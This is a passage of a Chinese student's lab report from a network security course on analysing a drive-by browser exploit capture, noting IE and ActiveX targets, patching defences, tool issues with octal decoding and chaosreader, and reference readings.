    • 发送给受害者的漏洞利用程序取决于受害者使用的浏览器,这使得确定漏洞利用者变得更加困难。

    攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?

    • 对142号数据包追踪TCP数据流,可以查看到主要攻击目标是IE浏览器漏洞和含有ActiveX组件漏洞的。
    • 可以通过修补操作系统和应用程序,进行定期更新以及使用“ ActiveX杀手”或使用其他Web浏览器来防止攻击。

    3.学习中遇到的问题及解决

    1、网页挂马分析中给出的链接无法访问

    • 涉及到访问链接获取信息的内容参考的指导书。

    2、8进制文件解密工具

    • 没找到相关工具,采用一种比较笨的方法,将8进制转换成16进制,在使用16进制解密工具。

    3、chaosreader的安装

    • 按照https://blog.csdn.net/weixin_41082546/article/details/104926272中的步骤执行完成后,再使用【sudo apt install chaosreader】即可。

    4、web浏览器渗透攻击攻防对抗,不知道如何进行混淆处理组装成一个URL

    • 尚未解决

    4.学习感想和体会

    本周的实践内容比较综合也比较难,分析起来比较困难,也有很多不太懂的地方。

    参考资料

    《网络攻防技术与实践》(诸葛建伟著)
    《浏览端渗透攻击动手实践演示》
    《网络挂马分析实践参考(上、下)》
    《网络挂马分析实践讲解》
    流量取证-提取文件
    MD5在线加密
    16进制到文本字符串在线转换

  • 相关阅读:
    FZU Monthly-201906 tutorial
    FZU Monthly-201906 获奖名单
    FZU Monthly-201905 tutorial
    BZOJ1009 GT考试
    BZOJ2428 均分数据
    模拟退火
    BZOJ3680 吊打XXX
    BZOJ4818 序列计数
    BZOJ4103 异或运算
    BZOJ3512 DZY Loves Math IV
  • 原文地址:https://www.cnblogs.com/fanxiaonan/p/12919896.html
Copyright © 2011-2022 走看看